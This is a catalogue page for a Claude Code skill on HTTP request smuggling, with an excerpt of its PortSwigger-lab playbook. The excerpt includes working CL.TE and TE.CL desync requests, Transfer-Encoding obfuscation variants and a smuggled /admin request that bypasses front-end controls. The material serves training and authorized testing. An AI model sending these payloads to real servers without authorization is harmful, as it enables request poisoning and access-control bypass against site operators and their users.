HTTP Request Smuggling — Complete Deep Dive

HTTP Request Smuggling — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 28 tokens per session (1,705 once invoked), scanned A, original, Apache-2.0.

A security testing guide for HTTP request smuggling, an attack where different servers interpret the same web request differently.

In plain words
What is it for?
Preparing for PortSwigger Web Security Academy labs, studying for the BSCP certification, and testing request-smuggling behavior in authorized bug-bounty work.
Why use it?
It explains how to reproduce known training-lab cases and investigate request-parsing disagreements between front-end and back-end servers.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Preparing for PortSwigger Web Security Academy labs, studying for the BSCP certification, and testing request-smuggling behavior in authorized bug-bounty work.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/http-request-smuggling

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for HTTP Request Smuggling — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/http-request-smuggling/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/http-request-smuggling)
Your own site
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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for HTTP Request Smuggling — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/http-request-smuggling"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/http-request-smuggling.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,705 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00028 $0.01705
Opus 5 $0.00014 $0.00852
Sonnet 5 $0.00006 $0.00341
Haiku 4.5 $0.00003 $0.00170

Measured 12d ago against content hash aaf62adbec1a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

HTTP Request Smuggling — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
skills/bug-hunting/deep-dive-labs/http-request-smuggling/SKILL.md · 235 lines

How it starts

The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HTTP Request Smuggling — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: CL.TE basic 🟡 PRACTITIONER

POST / HTTP/1.1
Host: TARGET
Content-Length: 6
Transfer-Encoding: chunked

0


G

Frontend uses Content-Length, backend uses Transfer-Encoding. The G poisons the next request as GPOST.

Lab 2: TE.CL basic 🟡 PRACTITIONER

POST / HTTP/1.1
Host: TARGET
Content-Length: 4
Transfer-Encoding: chunked

5c

GPOST / HTTP/1.1

Content-Type: x

Content-Length: 15


x=1

0



Lab 3: TE header obfuscation 🟡 PRACTITIONER

Transfer-Encoding: chunked
Transfer-Encoding: x

Or: Transfer-Encoding : chunked, Transfer-Encoding: xchunked, Transfer-Encoding: chunked\n

Lab 4: Confirm CL.TE via differential 🟡 PRACTITIONER

Send CL.TE probe twice. First: normal. Second: timeout or 404 = confirmed.

Lab 5: Confirm TE.CL via differential 🟡 PRACTITIONER

Same approach — timeout on second request confirms desync.

Lab 6: Bypass front-end controls CL.TE 🟡 PRACTITIONER

POST / HTTP/1.1
Content-Length: 116
Transfer-Encoding: chunked

0


GET /admin HTTP/1.1

Host: TARGET

Content-Length: 10


x=

Smuggled /admin request bypasses frontend access control.

Lab 7: Bypass front-end controls TE.CL 🟡 PRACTITIONER

Same concept: smuggle admin request via TE.CL desync.

Read the full file on GitHub · 235 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 235 lines · 28 tokens per session scan A aaf62adbec1a

Subscribe to this mod's changes

HTTP Request Smuggling — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 28 tokens to every session and 1,705 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.